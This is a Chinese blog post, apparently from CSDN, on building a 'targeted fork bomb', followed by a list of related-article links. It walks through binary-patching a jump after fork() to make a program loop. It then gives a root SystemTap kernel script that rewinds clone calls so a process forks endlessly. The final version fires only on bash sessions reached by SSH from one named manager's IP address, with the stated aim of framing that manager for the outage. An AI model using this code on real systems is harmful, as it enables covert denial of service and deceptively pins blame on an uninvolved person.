制作一枚有针对性的fork炸弹
恕我不再赘述bash实现的fork炸弹。
我们看看把一个内部调用了fork的平常的程序制作成一枚fork炸弹是多么的简单。先看代码:
#include <stdio.h>
#include <stdlib.h>int main(int argc, char **argv)
{if (fork() == 0) {printf("I am child\n");exit(0);}printf("I am parent\n");return 0;
}
编译:
[root@localhost test]# gcc -O0 fbomb.c -o fbomb
导出并查看fork调用的指令:
[root@localhost test]# objdump -D ./fbomb >./fbomb.dump
[root@localhost test]# cat ./fbomb.dump |grep -B5 -A5 call.*fork4005ad: 55 push %rbp4005ae: 48 89 e5 mov %rsp,%rbp4005b1: 48 83 ec 10 sub $0x10,%rsp4005b5: 89 7d fc mov %edi,-0x4(%rbp)4005b8: 48 89 75 f0 mov %rsi,-0x10(%rbp)4005bc: e8 df fe ff ff callq 4004a0 <fork@plt>4005c1: 85 c0 test %eax,%eax4005c3: 75 14 jne 4005d9 <main+0x2c>4005c5: bf 80 06 40 00 mov $0x400680,%edi4005ca: e8 a1 fe ff ff callq 400470 <puts@plt>4005cf: bf 00 00 00 00 mov $0x0,%edi
注意到4005bc指向的call下面是fork调用的惯用范式,即判断是0还是非0,于是我们的改法非常简单:
- 将4005c3改成JC(0x72) rel8(s8 offset):0x72 0xf7(即-9)
其实如今很少有C库会直接调用fork系统调用了,一般使用的都是clone。
那么下面就是改法:
# 用vim的xxd来修改二进制
[root@localhost test]# vim -b ./fbomb
...
./fbomb
:%!xxd
根据objdump的结果找到地址0005bc附近:
000005c0: ff85 c075(here) 14(and here)bf 8006 4000 e8a1 feff ffbf
将其改成:
000005c0: ff85 c072(here) f7(and here)bf 8006 4000 e8a1 feff ffbf
保存:
...
./fbomb [+]
:%!xxd -r
确认一下,看看修改有没有成功:
[root@localhost test]# cat ./fbomb.dump2 |grep -B3 -A3 call.*fork4005b1: 48 83 ec 10 sub $0x10,%rsp4005b5: 89 7d fc mov %edi,-0x4(%rbp)4005b8: 48 89 75 f0 mov %rsi,-0x10(%rbp)4005bc: e8 df fe ff ff callq 4004a0 <fork@plt>4005c1: 85 c0 test %eax,%eax4005c3: 72 f7 jb 4005bc <main+0xf>4005c5: bf 80 06 40 00 mov $0x400680,%edi
OK,修改成功,程序已经成了fork炸弹。这里就不演示了,这玩意儿没法演示。
让我们接着说。
能不能对bash动手呢?当然可以!
[root@localhost test]# objdump -D /bin/bash >./bash.dump
[root@localhost test]# cat ./bash.dump |grep -A5 -B5 call.*fork4415ea: 44 89 f7 mov %r14d,%edi4415ed: e8 5e a4 fd ff callq 41ba50 <sleep@plt>4415f2: 85 c0 test %eax,%eax4415f4: 0f 85 06 01 00 00 jne 441700 <make_child@@Base+0x1f0>4415fa: 45 01 f6 add %r14d,%r14d4415fd: e8 7e a4 fd ff callq 41ba80 <fork@plt>441602: 85 c0 test %eax,%eax441604: 89 c3 mov %eax,%ebx441606: 78 b8 js 4415c0 <make_child@@Base+0xb0>441608: 0f 85 2b 01 00 00 jne 441739 <make_child@@Base+0x229>44160e: 66 90 xchg %ax,%ax
差不多一样的套路。但是我们不能直接把bash改了啊,因此只能动用systemtap,在内核里捣鼓一些策略了。
bash并不会直接调用fork/clone,而是通过C库进行的,因此我们看下C库是怎么做的:
[root@localhost test]# objdump -D /lib64/libc.so.6 >./libc.dump
...
下面是关于clone调用的发起步骤:
284431 00000000000fde40 <__clone>:284432 fde40: 48 c7 c0 ea ff ff ff mov $0xffffffffffffffea,%rax284433 fde47: 48 85 ff test %rdi,%rdi284434 fde4a: 74 69 je fdeb5 <__clone+0x75>284435 fde4c: 48 85 f6 test %rsi,%rsi284436 fde4f: 74 64 je fdeb5 <__clone+0x75>284437 fde51: 48 83 ee 10 sub $0x10,%rsi284438 fde55: 48 89 4e 08 mov %rcx,0x8(%rsi)284439 fde59: 48 89 3e mov %rdi,(%rsi)284440 fde5c: 48 89 d7 mov %rdx,%rdi284441 fde5f: 4c 89 c2 mov %r8,%rdx284442 fde62: 4d 89 c8 mov %r9,%r8284443 fde65: 4c 8b 54 24 08 mov 0x8(%rsp),%r10284444 fde6a: b8 38 00 00 00 mov $0x38,%eax284445 fde6f: 0f 05 syscall
我们已经知道要怎么做了:
- 在clone系统调用返回前,将父子进程的rip修改为clone系统调用本身就是了,也就是rip地址倒退12字节或者28字节,达到clone调用准备参数的起点位置。
OK,下面是stap脚本:
#!/usr/local/bin/stap -gfunction do_it(p:long)
%{struct task_struct *tsk = (struct task_struct *)STAP_ARG_p;struct pt_regs *regs;if (strcmp(tsk->comm, "fbomb"))return;regs = task_pt_regs(tsk);regs->ip -= 12;
%}// hook 资进程
probe kernel.function("copy_thread").return
{do_it(@entry($p))
}// hook 当前父进程
probe kernel.function("sys_clone").return
{if ($return > 0)do_it(task_current())
}
OK,基本框架已经完事。可以那我最初的fbomb二进制程序试一下。
现在,让我们加点策略:
- 只有来自192.168.56.101这个经理的机器ssh到的bash,执行bash程序时才会bomb。这样就可以嫁祸于经理了!
还记得之前我写的TCP连接和进程之间的关联机制吗?
https://blog.csdn.net/dog250/article/details/108134813
基于它我们就可以判断是不是经理在执行bash了。
下面是代码:
#!/usr/local/bin/stap -g%{#include <net/tcp.h>
#include <linux/fdtable.h>static inline void ip2str(char *to, unsigned int from)
{int size = snprintf(to, 16, "%pI4", &from);to[size] = '\0';
}
%}function do_it(p:long)
%{struct task_struct *tsk = (struct task_struct *)STAP_ARG_p;struct task_struct *parent;struct file *file;struct socket *sock;struct sock *sk;char raddr[16];struct pt_regs *regs;if (strcmp(tsk->comm, "bash"))return;parent = tsk->parent;if (strcmp(parent->comm, "sshd"))return;file = parent->files->fdt->fd[3];// 一般都是3,为了节省代码篇幅,硬编码了!sock = (struct socket *)file->private_data;sk = sock->sk;ip2str(raddr, inet_sk(sk)->inet_daddr);if (strcmp(raddr, "192.168.56.101"))return;regs = task_pt_regs(tsk);regs->ip -= 12;
%}probe kernel.function("copy_thread").return
{do_it(@entry($p))
}probe kernel.function("sys_clone").return
{if ($return > 0)do_it(task_current())
}
下面是经理机器上bash的效果:
[root@localhost ~]# ls
# 回车已经没有了反应...
# 其它终端也没了反应,大家纷纷在说就是因为经理登录才这样子的...
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
嗯,是的,就是经理。
又有人说我是因为有root才能这样的,我说大部分人给了root也做不到,不信你去考验一下。
本来就是闹着玩。
浙江温州皮鞋湿,下雨进水不会胖。
制作一枚有针对性的fork炸弹相关推荐
- Linux的fork实现原理,【Linux】Fork炸弹详解
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 众所周知,bash是一款极其强大的shell,提供了强大的交互与编程功能.这样的一款shell中自然不会缺少"函数"这个元素来帮助程序 ...
- linux bash Shell脚本经典之Fork炸弹解析:() { :|: };:
众所周知,bash是一款极其强大的shell,提供了强大的交互与编程功能.这样的一款shell中自然不会缺少"函数"这个元素来帮助程序进行 模块化的高效开发与管理.于是产生了由于其 ...
- 经典的 Fork 炸弹解析
转载自: http://blog.saymagic.cn/2015/03/25/fork-bomb.html 本文地址:https://linux.cn/article-5685-1.html Jar ...
- fork炸弹c语言能否运行,Fork炸弹简析和应对方法
简述 第一次听到fork炸弹这种东西的时候以为是一个很神奇的破坏力惊人的高能脚本,然而稍微深入的了解了一下才发现这个玩意其实是个挺简单纯粹的东西,只是被一个叫Jaromil的家伙对他的精美包装给戏耍了 ...
- docker防止fork炸弹
博客搬家,原地址:https://langzi989.github.io/2016/12/29/docker防止fork炸弹/ 在开发过程中,我们使用了docker作为容器来进行编程语言代码的评测,以 ...
- Linux fork炸弹的分析
作为Linux/Unix 系统上内核与用户之间的接口,shell由于使用方便.可交互能力强.具有强大的编程能力等特性而受到广泛的应用.bash(Bourne Again shell)是对 www.ga ...
- Linux fork炸弹以及预防办法
fork炸弹是什么? fork炸弹以极快的速度创建大量进程(进程数呈以2为底数的指数增长趋势),并以此消耗系统分配予进程的可用空间使进程表饱和,而系统在进程表饱和后就无法运行新程序,除非进程表中的某一 ...
- Shell脚本经典之Fork炸弹
众所周知,bash是一款极其强大的shell,提供了强大的交互与编程功能.这样的一款shell中自然不会缺少"函数"这个元素来帮助程序进行模块化的高效开发与管理.于是产生了由于其特 ...
- 使用3DMAX制作一枚手雷
3DMAX建模并不对新手友好,零基础的小白学习3D建模至少需要8个月左右的时间.需要系统的学习美术基础.3D建模相关软件基础.建模制作流程.贴图绘制以及项目实战训练.只要把以上这5项学好,学扎实,对以 ...
最新文章
- linux网页跳转代码,自动识别PC与移动网页跳转代码
- 语言兔子繁衍问题讲解_二年级思维数学:位置问题,找到重复部分是解题关键...
- 老李分享:shell 监控cpu,memory,load average 1
- Android --- 怎么设置 EditText 控件中光标默认位置,当 EditText 里有文字的时候,光标跑到了最前面
- 道理我都懂,但你到底为什么偏偏喜欢咬我??
- 【CodeForces - 190E】Counter Attack (补图bfs,卡常,dsu)
- 手动添加mysql服务
- python多继承_python作用域和多继承
- 中国天然金红石市场趋势报告、技术动态创新及市场预测
- Android开源框架Universal-Image-Loader完全解析(三)
- matlab实对称矩阵对角化,第四节 实对称矩阵的对角化
- ucla计算机科学博士排名,加州大学洛杉矶分校专业排名一览及最强专业推荐(QS世界大学排名)...
- docker之网络管理
- Uiautomator2 GitHub文档转载
- 华为「天才少年」自制硬萌机器人,开源5小时,GitHub收获317星!
- EXPLAIN语法详解
- 通信原理Matlab仿真:模拟信号的幅度调制
- 基于佟刚老师视频教程的Spring MVC数据类型转换学习总结
- matlab中nargin用法
- 33家国内外知名的手机广告平台的SDK名单汇总,吐血推荐
热门文章
- flex于java实现增删改查
- 从追赶者到竞争者,智能汽车产业“长沙模式”走的什么捷径?
- C++学习笔记 转换函数(conversion function)
- ff14优雷卡补正什么意思_如何评价FF14 禁地优雷卡?
- 在javaScript中,变量名和函数名不能重名
- Plexus——Spring之外的IoC容器
- endnote按照apa6th格式复制_参考文献格式apa6.pdf
- 计算机科学期刊论文格式,计算机科学期刊投稿论文模板
- win10系统u盘安装单个文件超过4g解决办法
- UML建模之类图(Class Diagram,UML图)